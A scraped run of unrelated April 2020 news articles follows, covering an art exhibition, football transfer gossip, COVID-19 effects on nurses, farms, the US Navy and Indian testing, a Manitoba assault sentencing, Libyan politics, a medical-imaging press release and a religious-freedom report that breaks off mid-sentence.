Billy Childish / Courtesy of the artist and Lehmann Maupin As social distancing eases amid the COVID-19 pandemic, Lehmann Maupin Seoul unveils multi-faceted artist Billy Childish's latest pieces in new exhibition "wolves, sunsets and the self" which will run through June 27. Multi-talented Childish is a painter, poet, author, filmmaker, musician and record producer. Known for his introspective and confessional writing, Childish is a cult figure in many fields. The exhibit features seven paintings, shedding light on the artist's "radical traditionalist" approach. "I make a picture in the same way a child does something 'out there' interests me. Making a painting of that 'something' then joins me with the universal creator/creation in a more intent way than just being an observer," Childish once stated. Childish does not follow a specific artistic trend, though he founded the Stuckist art movement back in 1999. The Stuckists were against conceptual art, saying "Artists who don't paint aren't artists." However, Childish left the group in 2001 and has pursued his own creative path since then. "wolf, trees and road" by Billy Childish / Courtesy of the artist and Lehmann Maupin Childish respects long-standing traditions in art, but integrates his personal style into it, which is described as "radical traditionalist." The artist works in an intuitive way, painting a piece in a single session without any revisions. Such a process is portrayed in his brushstrokes and unique perspective which confuses the point of view. The paintings are titled in a rather simple, ordinary way, as the artist wants the viewers to appreciate the artwork as it is, not prejudiced by the title. Instead of interpreting his work verbally, Childish hopes that the paintings would act like a window that bridges the audiences and nature. Along with the title of the exhibition, two wolves appear in paintings "wolf in birch trees" and "wolf, trees and road." His landscape paintings range from an idyllic sunset to an ominously clouded sky. Childish's flower paintings "chrysanthemums in June's pot" and "irises" features flowers in earthenware created by Childish's mother June, which shows an artistic connection between mother and son. He brings personal objects into the traditional genre of still life. "His style is often compared to the expressionist painters of the late 19th/early 20th century, such as Vincent van Gogh and Edvard Munch, but for Childish it is the embodiment of these artists' spiritual and creative integrity, and how this informed their roles within society, that is most compelling," the gallery said in a statement. - Alexis Sanchez will enjoy the Atlantic Ocean view from the 33rd floor of the 52-storey glass building - Sanchez has been linked with a move to David Beckham's Inter Miami after a tumultous spell with Man United - He is currently on a season-long deal with Serie A giants, Inter Milan Alexis Sanchez has reportedly bought a beachside apartment near Miami with reports linking him with a move to David Beckham's Inter Miami. According to a real estate website Real Deal, the Man United star has paid nearly KSh 270 million (2m) for a luxury apartment at the Sunny Isles Beach. READ ALSO: Premier League clubs to be allowed up to five substitution when season resumes The apartment block boasts incredible views overlooking the Atlantic ocean. Photo: RITZ CARLTON. Source: UGC READ ALSO: Serie A: Italy prime minister Conte sets June 2 for league resumption It is understood Sanchez will be living at the 33rd floor of the 52-storey glass building which has the view of the Atlantic Ocean. The Chilean international will be afforded access to a restaurant, pool deck and full-service spa, as well as a fitness centre and wellness centre inside the 649ft building. The Chile international is believed to have acquired the property ahead of a potential move to Inter Miami. Photo: RITZ CARLTON. Source: UGC READ ALSO: Tomaz Balcazar: Javier Hernandez grandfather and Mexico football legend dies Reports claim the Manchester United flop purchased the apartment during his recent two-week trip back in his home country. The 31-year-old returned to his native country Chile during the lockdown and lived in the nation's capital Santiago before returning to his base in Italy. The winger would be given access to a private club on the 33rd floor of the pad. Photo: RITZ CARLTON. Source: UGC Italian media have now predicted Sanchez could join Inter Miami when his loan spell in Italy expires in the summer. Beckham's new Franchise has been linked to the former Barcelona star in September 2019, but Sanchez claims he still has five to six years left to play at top-flight level in Europe. Do you have an inspirational story you would like us to publish? Please reach us through news@tuko.co.ke or WhatsApp: 0732482690 and Tuko news. My 'husband' from Ghana was married to another woman for ten years and I had no idea | Tuko TV Source: TUKO.co.ke Nine in ten nurses are feeling more anxious or stressed than usual, a damning poll revealed today. While thirty-three per cent of NHS nurses asked to rate their overall mental health and wellbeing described it as 'bad' or 'very bad'. Only ten per cent of the 3,500 respondents felt they were getting adequate mental health support at a national level. They described the heartbreak of seeing patients die with COVID-19 without family members around them and admitted it has impacted them. Medics also fear catching the killer infection and passing it to their family while at work on the frontline, largely due to PPE shortages. The Government has repeatedly been accused of failing to get enough kit to workers quickly enough, leaving thousands of medics vulnerable. Nine in ten nurses are feeling more anxious or stressed than usual while a third have seen their mental health plummet during the coronavirus crisis. Pictured, nurses at Salford Royal Hospital in Manchester during the minute silence today to pay tribute to NHS staff and key workers who have died during the outbreak The survey, by the Nursing Times, provides the first snapshot of nurses mental health during the pandemic. Pictured, NHS staff at Aintree Hospital clap after the minute silence The survey, by the Nursing Times, provides the first snapshot of nurses mental health during the pandemic - which has so far killed 21,678 Britons in hospital. It found that 87 per cent rate themselves as more stressed at work than usual, while 90 per cent said they were more anxious than before the outbreak. Concerns about contracting the virus and the health of family and friends, as well lack of sufficient supplies of personal protective equipment (PPE), were the most common reasons respondents gave for being more stressed or anxious. PPE is vital to reduce the spread of disease inside a hospital setting but also to protect the worker themselves. One nurse said: 'If we had the reassurance of testing for the virus and proper protocol in place regarding how to deal with this, then this would help the mental wellbeing of staff.' Another said: 'PPE is a real issue of which government does not want to take responsibility for. We should not have to re-use or compromise on safety to ourselves or that of the patient under any cost.' How government 'counted single gloves rather than pairs to boast of one billion items of PPE for NHS' A BBC documentary last night claimed ministers counted every glove individually instead of in pairs to boast of delivering one billion bits of PPE to NHS staff frontline in their fight against the coronavirus - as yet another minister suffered a shambolic round of interviews today. The Panorama investigation said Number 10 had failed to procure enough protective equipment, such as masks, gowns and visors. It also accused ministers of counting 547million gloves individually, instead of as 273.5million pairs, to fiddle PPE numbers. The one billion figure also included items which are not considered PPE, including millions of cleaning products, waste bags, detergents and paper towels. Good Morning Britain presenter Piers Morgan called the PPE scandal unveiled by Panorama a 'national disgrace'. It comes as a shocking poll by the Royal College of Physicians (RCP) yesterday found that a quarter of doctors are having to re-use protective kit meant to be worn just once. The protective clothes should be worn only once because washing them at temperatures high enough to kill coronavirus weakens their effectiveness. The RCP survey completed by 2,129 members also highlighted concerns that protective equipment was poorly fitting. Nearly a third 31 per cent said they had not had their facemasks 'fit tested' to ensure they provided maximum protection. Just 69 per cent said they were always able to access the vital long-sleeved gowns. The figure for goggles was even lower at 50 per cent. Overall 27 per cent said they could not get the equipment they needed, which was up from 22 per cent when the college carried out the same survey three weeks ago. Some 27 per cent of doctors were re-using their personal protective equipment or had done so. Its president, Professor Andrew Goddard, said: 'Many personal protective equipment items are designed for single use and should only be re-used in extreme circumstances. 'That so many people are having to re-use PPE shows how desperate the shortages are. 'This is a truly terrible state of affairs. As a bare minimum we expect our health service to provide the equipment we need to protect ourselves and our patients.' Advertisement While one added: 'I believe much of the negative ramifications of COVID-19 has to do with our obvious lack of preparation, by not having or supplying proper PPE, for our frontline workers, which lead to increased anxiety, fear, feelings of disrespect.' More than 100 NHS workers have died after catching the virus. Workers in other key sectors such as transport are also among those who have died while carrying out their vital work during the pandemic. Dealing with the death of patients who were unable to be seen by relatives due to social distancing was also distressing for nurses. One respondent working on a COVID-19 ward said: 'The deaths are very hard. Sometimes no family members have been able to come either.' Nurses reported failing to look after themselves by missing breaks or not eating properly due to staffing pressures. Around 35 per cent said they were drinking more than usual to cope with the situation. However ten per cent said they were drinking less and 30 per cent noted that they did not drink alcohol. Nursing Times also asked nurses for their views on the current level of support being provided to health and social care staff on mental health and wellbeing, at both national and local levels. Half of nursing staff considered the current level of support being provided as inadequate. At national level, 54 per cent rated support as 'inadequate' or 'very inadequate', while 20 per cent said it was 'adequate' and 11 per cent said it was 'good' or 'very good'. The picture at local level was slightly better, with 50 per cent rating support as 'inadequate' or 'very inadequate', 22 per cent thinking it was 'adequate' and 13 per cent that it was 'good' or 'very good'. One respondent stated: 'Nationally, I do not feel the health and well-being of health care workers has been taken seriously.' Another respondent said: 'Far more support is needed for everyone involved in this situation, not only now while it is happening but into the future when it may continue to affect staff.' Nursing Times editor Steve Ford said: 'Dealing with the coronavirus epidemic is exacting a heavy mental and emotional toll on the nursing workforce. 'The short- and long-term psychological impact of working under the conditions resulting from the pandemic is becoming increasingly apparent, and is affecting nursing staff working in all settings. 'As a result, Nursing Times has launched Covid-19: Are you OK, a campaign to monitor and raise awareness of the mental health impact on nurses of coronavirus. 'We want to ensure that employers, while they grapple with the crisis facing them from patient demand, also look after their nursing workforce. Failure to do the latter would negate the former.' It follows the publication of a Chinese study which found a third of medics responding to the outbreak there suffered insomnia. Staff who experienced sleeplessness were also more likely to feel depressed, anxious and have stress-based trauma, according to the paper published in Frontiers in Psychiatry. The results are based on self questionnaires undertaken by 1,563 medics online between January 29 and February 3 at the peak of the COVID-19 epidemic in China. The most important factor for insomnia 'was having very strong uncertainty regarding effective disease control among medical staff,' the researchers said. 'Preemptive Prejudice', says China after ICMR tells states to stop using Chinese COVID-19 test kits India oi-Deepika S New Delhi, Apr 28: China on Tuesday expressed concern over the Indian Council of Medical Research's (ICMR) decision to stop using rapid antibody testing kits made by two Chinese firms. "China attaches great importance to the quality of exported medical products. Recently, Chinese Embassy in India has maintained close contact with ICMR and the two Chinese companies to find out the real situation," Chinese embassy spokesperson Ji Rong said in a statement on Tuesday. It added that the Covid-19 antibody rapid test kits produced by these two Chinese companies have been exported to and many countries in Europe, Asia and Latin America. "It is "unfair and irresponsible for certain individuals to label Chinese products as 'faulty' and look at the issues with preemptive prejudice." Ji, however, did not clarify who are the individuals she was referring to. At the same time, the spokesperson said China will continue to support India's fight against the pandemic and will jointly work with New Delhi to overcome the challenge "at an early date" to protect people of the two countries from the infection. India procured around 5,00,000 rapid antibody test kits from the two Chinese firms nearly two weeks back and they were distributed to several states reporting rising cases of the coronavirus infection. The ICMR on Monday asked the states to stop using COVID-19 rapid testing kits procured from China due to their poor quality even as the government said not a single rupee will be lost in cancelling the orders as payments were not made to the Chinese suppliers. In a communication to chief secretaries of all states and union territories, the ICMR asked them to stop using the kits saying it found "wide variation" in effectiveness of the equipment supplied by the two Chinese firms despite promise of good performance. Sign up here to get On Politics in your inbox every weekday. The Trump campaign has repeatedly credited its online prowess, particularly on Facebook, as a key to its 2016 victory. Now, the Facebook employee who embedded with the Trump campaign to help it master message testing and iteration is working for Democrats. And he has revived one of the most important tactics he used for the Trump campaign at Acronym, a progressive nonprofit. We wrote about the efforts of James Barnes and the Barometer team at Acronym on Tuesday, how they test the impact of their Facebook ads in real time through a series of surveys served to a custom audience before and after each ad campaign. In tonights newsletter, where we embrace all things digital, were going to get a little more granular on three tests that Mr. Barnes and his team ran. Guillaume Soro, the former president of the National Assembly of Cote dIvoire who has been in exile in France since end December 2019, is due to be tried on Tuesday 28 April at the Abidjan criminal court. Last week, the African Court of Human and Peoples Rights demanded that the Ivorian state suspend the arrest warrant. On Sunday, Guillaume Soros lawyers asked the authorities to respect the African Courts decision and suspend the trial. In the press release, the legal advisers of the former president of the National Assembly and declared candidate for the presidential election of October, believe that this hearing has only one objective : to make their client ineligible. They also state that the procedure violates all the rules of law. And therefore that they will not attend the trial. The trial must address part of the charges, those of embezzlement of public funds and money laundering, which Guillaume Soro has always rejected. For the Ivorian states lawyers, the African Courts decision is only provisional and does not prevent the hearing from taking place. Although the Court has given the authorities 30 days to execute its ruling. DES MOINES Iowa farmers were having a tough go of it well before the novel coronavirus made its way to the United States. Floods, droughts, international trade disputes and federal agriculture policy battles all contributed to stunted crop and livestock prices, making it difficult for Iowa farmers to manage their bottom lines. Then the global pandemic made matters significantly worse. COVID-19, the disease the virus causes, has claimed over 50,000 lives in the United States and 112 in Iowa since it was discovered here March 8. States have enacted drastic policies in an effort to slow its spread. While public health officials and experts credit those policies with saving lives, the policies also have dramatically altered the lives of every American and the way the nations food supply chain operates. With schools, restaurants and other businesses closed, demand for food is down, causing excess inventory and even lower prices. People increasingly shopping and sometimes hoarding at grocery stores have not made up the gap. This is brand new for us because the demand was always there, said J Schanbacher, a third-generation dairyman whose Schanbacher Acres family farm is near Atkins in Benton County. Now we have a demand problem. The virus could cost Iowas agricultural economy more than $6 billion, according to a study from Iowa State Universitys Center for Agricultural and Rural Development. Robert Larew, president of the National Farmers Union, said the situation facing family farms and rural communities is extraordinary. Spring is normally a very optimistic time, a hopeful time for farmers as they prepare the fields to get crops out there. But this is no ordinary spring as we know, Larew said recently during an online news conference hosted by Iowa-based Focus on Rural America, a liberal-leaning ag policy group. And this is coming on the heels of some really tough past years. Farmers are financially stretched to the brink across all commodities and livestock. And the recent disruptions and market changes are just sending those operations in more dire straits at this time. The ISU study said if social distancing policies remain through the rest of the year, the states ethanol and hog industries both stand to experience more than $2 billion in losses. The study projects the corn industry would incur $788 million in losses, cattle $658 million and soybeans $213 million. Chad Hart, an agriculture economist at ISU and one of the co-authors on the economic impact study, said the states ag sectors are experience revenue losses between 15 and 50 percent. The depth of the dip is quite dramatic, Hart said on the latest episode of Iowa Press on Iowa PBS. Were seeing some of the largest cuts in our meat industry and our energy sector. But all phases of our agricultural economy are feeling the effects of COVID-19. Because of reduced demand, farmers have been forced to dispose of myriad products. In some places in the nation, dairy farmers are dumping milk, poultry farmers are dumping eggs and pork producers are facing difficult decisions over what to do with excess hogs. Its a challenging time in agriculture, especially for dairy, egg and livestock producers and our renewable fuels industry, Iowa Agriculture Secretary Mike Naig said recently during a telephone town hall with Iowa farmers, hosted by U.S. Sen. Joni Ernst. Make no mistake, this pandemic impacts all of us. The supply chain disruptions are threatening our livelihood, and some farmers weve been hearing about have been forced to dispose of some of the products that they worked so incredibly hard to produce. The challenges facing hog farmers have become especially pronounced over the past two weeks as coronavirus outbreaks have hit pork processing plants in Waterloo, Columbus Junction, Perry and also just across the states borders in Illinois and South Dakota. Many of the plants shut down temporarily to make them safer for workers, and when they reopen some are operating at less than normal capacity, Gov. Kim Reynolds has said. That slowdown has left hog farmers with too many hogs. Reynolds said last week that some farmers have become faced with having to decide whether to euthanize some of their hogs. Iowas pork industry is in dire straits, Ernst said in a statement, adding that she has pressed the federal ag department to support hurting pork producers. With a system designed for just-in-time delivery, this important sector of our states economy has been turned on its head due to meat processing plant closures across Iowa, and the Midwest. Our producers are now facing difficult and devastating decisions that can lead to them literally throwing out their livelihoods. With Americans practicing social distancing and not traveling as much, gas sales and prices have plummeted, damaging Iowas ethanol industry. Hart said he is aware of at least nine ethanol plants in Iowa that have shut down, and many more have slowed their production. Along with that the ethanol industry is facing the sort of implosion of the oil market, Hart said. When you think of oil prices going negative earlier this month, the idea is there are all sorts of economic pressures that are also pushing down on the ethanol sector here. So were seeing losses not only in terms of production, but in pricing and concerns about long-term demand for the product. School and restaurant closures have devastated milk demand, Tom Vilsack said during the Focus on Rural America news conference. Vilsack is president and chief executive of the U.S. Dairy Export Council, and is a former Iowa governor and U.S. agriculture secretary. Vilsack said closing schools and restaurants and limiting fast-food restaurants to drive-through and carryout has reduced demand for dairy by roughly half. Farmers are dumping as many as 3.7 million gallons of milk each day, according to an estimate from the Dairy Farmers of America, a national marketing cooperative. Schanbacher Acres sells to a dairy cooperative that in turn supplies manufacturers that make, for instance, cheese and butter. We have not been asked to dump milk, but I think every farmer in the co-op has had the conversation with their field representative, Schanbacher said. The lack of demand could cause dairy farmers like him, he said, to take a closer look at their herds and consider selling some of the less profitable cows for beef. Advocates and elected officials continue to press the federal government for assistance, while others have begun to question whether the pandemic has shown that the structure of the nations food supply needs an overhaul. On the telephone town hall with Iowa farmers, meantime, Naig tried to strike a hopeful tone. We know that agriculture is no stranger to adversity and managing through risk, and by working together that well help our neighbors in need and we intend to come out of this stronger on the other side, he said. After 12 persons from the state who recently returned from Nanded, a popular Sikh shrine in Maharashtra, tested positive for Covid-19, the Ludhiana health department swung into action and sent all 56 pilgrims from the district and 25 students who had returned from Kota, Rajasthan, to a quarantine facility at Mother and Child Hospital on Chandigarh road. Confirming the development, the hospitals senior medical officer Dr Amita Jain said that samples of all persons who recently entered the state, are being collected and sent for testing. She said they have also been placed under quarantine and decision on the further course of action will be taken after their reports come. The administration, which had earlier escorted the pilgrims and students to their homes in taxis and PCR vehicles, turned up at the homes on Tuesday and took them back to the health facility. Sources said the health department faced mild resistance as some of the pilgrims and students who had barely spent a day at home after remaining stranded for over a month were reluctant to visit the hospital. Deputy commissioner Pradeep Agrawal informed that as per the latest protocol of the health department, testing of all persons who returned from Nanded (Maharashtra) and Kota (Rajasthan) was being done and they have been kept in quarantine. Dr Rajesh Bagga said the decision has been taken to identify the asymptotic patients and curtail the further spread of virus. MAJOR REPRIEVE FOR HEALTH DEPARTMENT In a major reprieve for the health department, 10 primary contacts of the food supply inspector, who is the husband of the Covid positive block development and panchayat Officer (BDPO), tested negative for the virus. Besides, the department received 106 samples and all were found to be negative, stated civil surgeon Dr Bagga. On the other hand, DC Pradeep Agrawal stated that as many as 1,991 samples have been taken in the district so far, out of which reports of 1,670 have been received, and 1,649 samples have been found negative. He informed that 21 samples were found to be positive, that includes 18 from Ludhiana and three from other districts. He informed that five patients have lost their lives, while seven patients have been fully cured after treatment and discharged from hospital. He stated that so far nine (8 from Ludhiana and one from another district) active patients are left in the district. He informed that no positive case have been reported from the district in the last 24 hours. He assured that the health of active patients in the district is improving and second sample of three such patients have been sent, and if that the report is negative, another test would be done after 24 hours (of the second test) and if that report is also negative, then the patients would be discharged from the hospital. He informed that the second sample of the patients is taken after 14 days (when they test positive). The aircraft carrier USS Theodore Roosevelt leaves its San Diego homeport on Jan. 17, 2020. (U.S. Navy via Getty Images) One in 5 Sailors on Virus-Hit Carrier Test Positive in Final Tally A fifth of the sailors on the USS Theodore Roosevelt have tested positive for the CCP virus in the final tallyaccounting for half of all cases in the Navy. Only one sailor from the 5,000-strong ship is now in hospital, down from the peak of nine earlier in the outbreak on the nuclear-powered carrier. There are currently 955 active cases and 14 recovered cases, according to the latest official update on April 27, which said that all test results were now in. The number of recovered Theodore Roosevelt sailors previously reported has been reset. Cases now are not counted as recovered until the sailor has had two successive negative tests, the Navy update read. With testing completed, the Navy has stopped providing daily updates on the number of sailors ashore and on the ship. It has not indicated the process of reembarking the ship. The 955 cases on the carrier make up almost half of the Navys current total of 2,105 cases, which includes both military and civilian personnel. The first and only COVID-19 death of a member of the military on active duty was a 41-year-old chief petty officer on the Theodore Roosevelt, who died on April 13 in a hospital in Guam. The carrier is still sidelined in Guam where it has remained in port for the last month as the crew was systematically evacuated and tested as the ship was cleaned. Until last week, the carrier was the only one of some 90 deployed U.S. Navy ships to report an outbreak at sea. On April 24, however, the USS Kidd, a much smaller destroyer, headed back to port from deployment in the Caribbean after officials announced an outbreak. The guided-missile destroyer USS Kidd in the Pacific Ocean in a photo made available by the U.S. Navy on May 18, 2011. (Mass Communication Specialist Seaman Apprentice Carla Ocampo/U.S. Navy via AP) As of today, 45 percent of USS Kidd (DDG 100) crewmembers have been tested for COVID-19, with 47 total positive results, said an April 27 Navy statement. Two sailors have been medically evacuated to the United States. Fifteen sailors have been transferred to USS Makin Island (LHD 8) for monitoring due to persistent symptoms. None are in the ICU or on ventilators. According to the statement, all sailors on the ship are wearing PPE and N95 masks. The Navy had learned lessons from other COVID-19 outbreaks, said chief Pentagon spokesperson Jonathan Rath Hoffman during a briefing with reporters on April 24. Within 24 hours of the first person who was symptomatic on the ship, they had a medical team on that ship doing detailed analysis and contact tracing and testing of members of the crew, he said. Small numbers of sailors assigned to 26 ships that are all currently in portnot deployed have tested positive for the virus. The Nimitz-class aircraft carrier USS Carl Vinson (CVN 70) in the Indian Ocean on March 15, 2009. (Petty Officer 2nd Class Dusty Howell/U.S. Navy via Getty Images) The Pentagon is prioritizing making sure crews are virus-free when they head out on deployment, which means concentrating testing and quarantine in the time window just before deployment. The carrier USS Nimitz set sail for training yesterdaybut only after a 27 quarantine period and testing all of the crew. Dealing with the challenges of the COVID pandemic has been difficult, said Capt. Max Clark, commanding officer. I give the crew all the credit. From the beginning, they have done all that I and Navy leadership have asked them to doface coverings, social distancing, continuous ship sanitization, testing, and periods of quarantine; all executed with precision and professionalism. The Nimitz will pick up the baton from the Harry S. Truman, which has remained at sea despite coming to the end of its deployment, to ensure two U.S. aircraft carriers were at sea, COVID-19-free. Military leaders continue to emphasize that U.S. military readiness is high, despite the pandemic, warning adversaries not to test them. A man who brought two others with him as the muscle to collect a debt that resulted in another man being severely beaten has been sentenced to 15 months in jail. Hey there, time traveller! This article was published 28/4/2020 (624 days ago), so information in it may no longer be current. Advertisement Advertise With Us A man who brought two others with him as the "muscle" to collect a debt that resulted in another man being severely beaten has been sentenced to 15 months in jail. "Clearly this is a serious case. The injuries suffered by the victim were significant and he continues to suffer difficulties as a result of his injuries," Crown attorney Marnie Evans told the court via telephone on Monday. "The impact to the victim has been extensive." Mitchell Livingstone, 33, pleaded guilty in Brandon provincial court to aggravated assault for an incident that occurred on July 28, 2018. Livingstone was looking for the victim as the victim owed him a debt, Evans said, and discovered the victim was living in an apartment in Brandon. Livingstone asked his two co-accused, Israel Blacksmith and Devyn Colton Dale Pratt, to go to the apartment with him to "act as his muscle," Evans said, as he was going to collect the debt owed to him. The three men entered the apartment and an argument ensued, prompting Livingstone to direct Blacksmith and Pratt to strike the victim in the head and body, Evans said. Blacksmith punched the victim once, Evans said, and Pratt struck the victim in the head with a paint scraper, causing a head wound. "The Crown is prepared to accept Mr. Livingstone did not tell Mr. Pratt to arm himself prior to go into the apartment, that he did not know (Mr. Pratt) was armed with a paint scraper, and that he did not know when he directed Mr. Pratt to hit (the victim) that Mr. Pratt would hit him with a weapon," Evans said. The three men ran out of the apartment and left in Livingstones car, which was parked behind the building. The victim was taken to hospital, where he was treated for a massive brain bleed as a result of the blow to the head with the paint scraper, Evans said. He was placed in a medically induced coma to help reduce swelling for a couple of days. To this day, the victim continues to have difficulty speaking and still has mobility issues with his arms, Evans said. Pratt pleaded guilty to aggravated assault on Feb. 24 and was sentenced to 21 months in jail. Blacksmith pleaded guilty to assault causing bodily harm in March and received a sentence of 15 months time served. Evans suggested a similar sentence of 15 months would be appropriate for Livingstone as well, noting it was a "true plea bargain." During preliminary hearings, it became evident the Crown may have had some issues proving all the elements in the case, Evans said. Due to his head injury, the victim was having difficulties with his memory, Evans said, and some Crown witnesses were unco-operative on the stand and failed to attend the preliminary hearings despite being subpoenaed. Defence lawyer Norm Sims agreed it was a plea bargain and that 15 months minus time served would be appropriate. "I want to assume responsibility for my actions and express my extreme condolences, I regret every moment of it. If I could take it back I definitely would," Livingstone said. "I wish nothing but the best for (the victim) in his future. Im extremely sorry for everything that occurred." Judge Donovan Dvorak agreed with the joint recommendation and sentenced Livingstone to 15 months time served. After a credit for time spent in pre-sentence custody, Livingstone has a little more than five months left to serve. edebooy@brandonsun.com Twitter: @erindebooy Libya's UN-recognised government Tuesday accused rival military strongman Khalifa Haftar of seeking to stage a new coup after he claimed to have a "popular mandate" to govern the country. Accused by critics of wanting to install a new military dictatorship, Haftar, who controls swathes of eastern Libya, announced his self-styled "army" was "proud to be mandated with the historic task" of leading Libya. Analysts said his move was a sign he wanted to consolidate his power after a series of setbacks earlier this month, when GNA forces captured a string of strategic towns west of Tripoli. The oil-rich North African nation has been gripped by chaos since the ouster and killing of longtime dictator Moamer Kadhafi in 2011, with rival administrations in the east and west vying for power. Haftar claims legitimacy from an eastern-based parliament elected in 2014, but did not say whether it supported his move. He also did not say whether that parliament, which was forced to move its headquarters after violence ripped apart Tripoli six years ago, would be dissolved. A source close to Haftar said he was preparing to announce a new government in eastern Libya. Haftar also announced the end of the Skhirat Agreement, a 2015 United Nations-mediated deal signed in Morocco that produced the Tripoli-based unity government. 'Rising desperation' A fighter with Libya's UN-recognised Government of National Accord (GNA) fires rockets from a position near the town of Garabulli toward the city of Tarhunah, rear base of Haftar's forces, on April 19, 2020. By Mahmud TURKIA (AFP/File) In a pre-dawn statement, the Government of National Accord in Tripoli denounced Haftar's announcement as "a farce and the latest in a long series of coups d'etat". Haftar previously announced the end of the Skhirat Agreement in 2017 and three years earlier also said on television that he was taking power in Libya. Pro-Haftar forces been fighting to try and seize Tripoli since April last year, and the GNA claimed his latest announcement was an attempt to "conceal the defeat of his militias and mercenaries" and "the failure of his dictatorial project". According to Hamish Kinnear, an analyst at Verisk Maplecroft, "Haftar's decision to formalise his direct control of eastern Libya is a sign of his rising desperation in the face of GNA successes in western Libya". "By sweeping aside the authority of the (parliament) and electing himself as undisputed leader in the east, Haftar is making himself central to any negotiated solution to the civil war," Kinnear added In the past fortnight, pro-GNA forces aided by Turkey have captured two strategic towns west of Tripoli and are now encircling Haftar's main rear base at Tarhunah, 60 kilometres (39 miles) southeast of the capital. In recent months, foreign military support has exacerbated Libya's conflict, with the United Arab Emirates and Russia backing Haftar and Ankara supplying the GNA. On Tuesday however, Kremlin spokesman Dmitry Peskov said Moscow "is still convinced that the only possible solution in Libya depends on political and diplomatic contacts between the parties to the conflict". Washington called for dialogue between the two sides and a "humanitarian" truce. The American embassy in Libya wrote on Twitter: "The United States regrets... Haftar's suggestion that changes to Libya's political structure can be imposed by unilateral declaration." In Brussels, European Union spokesman Peter Stano said "any attempt to push forward unilateral solutions -- even more so by force -- will never provide a sustainable solution for the country". Divided lawmakers The GNA said Haftar had "turned his back on the parallel political institutions that backed him and designated him" head of the army. Fighters loyal to the GNA celebrate on April 13, 2020 after seizing the coastal city of Sabratha from Haftar's forces. By Mahmud TURKIA (AFP/File) Like Libya itself, lawmakers are divided between those who support Haftar and those in Tripoli who oppose him. On Tuesday, the GNA invited "those lawmakers remaining in the east to rejoin their colleagues in Tripoli to resume dialogue and relaunch the political process". "Haftar is now demanding that (the parliament) submit entirely to the army, whether by common accord or by unilateral force," said Jalel Harchaoui, a researcher at the Clingendael Institute in The Hague. Few of the elected officials in the east were likely to rejoin the anti-Haftar lawmakers in Tripoli, he said. According to Emad Badi, a Libya analyst at the Atlantic Council, by announcing he was taking power, Haftar hopes to establish himself as the only power in eastern Libya and oust any actors in favour of dialogue. bur-ila/rb/cm/hkb New leadership roles will strengthen ties between new Texas headquarters and PMI partners in the medical field. DALLAS, TX / ACCESSWIRE / April 28, 2020 / Perimeter Medical Imaging, a Medical Imaging and AI company, today announces the appointment of Tom Boon as CEO and Jeremy Sobotta as CFO. This announcement comes shortly after the opening of the Toronto-based company's Texas headquarters under the name Perimeter Medical Imaging AI. Mr. Boon brings extensive experience in the diagnostic imaging industry to his role as CEO. As diagnostic imaging is a major part of breast cancer screening, detection, diagnosis and surgery, Mr. Boon's senior leadership roles in the areas of manufacturing, quality and regulatory, sales and product management will be advantageous to his role at PMI. Mr. Boon has previously worked with medical device companies including Imaging Dynamics Company Ltd, Del Medical Systems Group, and Agfa Healthcare. His dedication to the mission at PMI is a personal one, as his daughter is a breast cancer survivor. Prior to joining PMI, Mr. Boon served as President of Summit Industries for nearly 10 years. "I'm looking forward to establishing clinical trials in Texas and building the business operations for PMI in the Dallas- Fort Worth area," said Mr. Boon "Working with Jeremy, along with our entire team in Toronto, will help us ensure successful clinical and commercial outcomes for our partners and future customers throughout the state, in a way that can truly advance healthcare outcomes for breast cancer patients." CFO Jeremy Sobotta comes to PMI with a diverse background in all areas of finance in the medical devices industry supporting many different geographies and go-to-market models. To date, Mr. Sobotta has been a part of the deployment of over $4 billion in capital over his career in acquisitions. His most recent role was as Head of Finance for the Stryker business unit responsible for surgical equipment and women's health. This wide background of experience made him an ideal fit for the role of CFO, particularly as the company expands its operations into new partnerships. "With the expansion of commercial operations, this is simply a great opportunity to get in on the ground floor of a growing organization," Mr. Sobotta said in a statement. "From our Dallas headquarters, we'll be establishing sales coordination with our partners in addition to clinical research and product development. It's an exciting time to be a part of this - we're eager to continue our medical imaging and AI innovations along with our partners and the rest of the PMI team." Both Mr. Boon and Mr. Sobotta are based in Dallas, Texas, the new headquarters of Perimeter Medical Imaging AI Corp. This expansion allows PMI to work closer with their Texas-based healthcare partners, including Baylor Medical Center, MD Anderson and others. About Perimeter Perimeter is a private Toronto-headquartered company that is developing, with plans to commercialize, advanced imaging tools that allow surgeons, radiologists, and pathologists to visualize microscopic tissue structures during a clinical procedure. Perimeter's OTIS platform is an FDA-cleared point-of-care imaging system that provides clinicians with real-time, ultra-high-resolution, sub-surface image volumes of the margin (1-2 mm below the surface) of an excised tissue specimen. The ability to visualize microscopic tissue structures during a clinical procedure in addition to standard of care tissue assessment by clinician sight or physical inspection for decision making during the procedure has the potential to result in better long-term outcomes for patients and lower costs to the healthcare system. In addition, Perimeter is developing advanced artificial intelligence/machine learning image assessment tools intended to increase the efficiency of review. SOURCE: Perimeter Medical Imaging View source version on accesswire.com:https://www.accesswire.com/587202/Perimeter-Medical-Imaging-Appoints-Tom-Boon-as-New-CEO-Jeremy-Sobotta-for-CFO-Position A new report aims to unflinchingly criticize the records of US allies and adversaries alike on religious freedom. And theres a lot to report, with more headlines each month confirming the Pew Research Centers 10-year analysis that government restrictions and social hostilities involving religion have reached record levels worldwide. Todays 21st annual report by the US Commission on International Religious Freedom (USCIRF) identifies significant problems in 29 countriesbut sees an upward trajectory overall. Our awareness is going to grow greater, and the problem will appear more pronounced, USCIRF chair Tony Perkins told CT. But as we continue to work on it, I think we will see tremendous progress in the next few years if we stay the present course. Created as an independent, bipartisan federal commission by the 1998 International Religious Freedom Act, USCIRF casts a wider net than the US State Department, which annually designates Countries of Particular Concern (CPC) for such nations violations of religious freedom, or places them on a Special Watch List (SWL) if less severe. Last December, Secretary of State Mike Pompeo announced CPC status for Burma, China, Eritrea, Iran, North Korea, Pakistan, Saudi Arabia, Tajikistan, and Turkmenistan. USCIRF now recommends adding India, Nigeria, Russia, Syria, and Vietnam. And where the State Department put only Cuba, Nicaragua, Sudan, and Uzbekistan on the watch list, USCIRF recommends also including Afghanistan, Algeria, Azerbaijan, Bahrain, Central African Republic, Egypt, Indonesia, Iraq, Kazakhstan, Malaysia, and Turkey. USCIRFs mandate is to provide oversight and advice to the State Department. Aiming to make its recommendations more easily accessible to policymakers, this years report limits country chapters to two pages each and adopts the same evaluative criteria as the State Department. To qualify, a nation must engage in or tolerate systematic, ongoing, and egregious violations of religious freedom. CPC status requires all three descriptors, while SWL status requires two. In previous reports, USCIRF used a Tier Two category requiring only one qualifier. As a result, Laos is no longer listed. Following 11 commission field visits, 5 hearings, and 19 other published reports, USCIRFS 2020 annual report calls 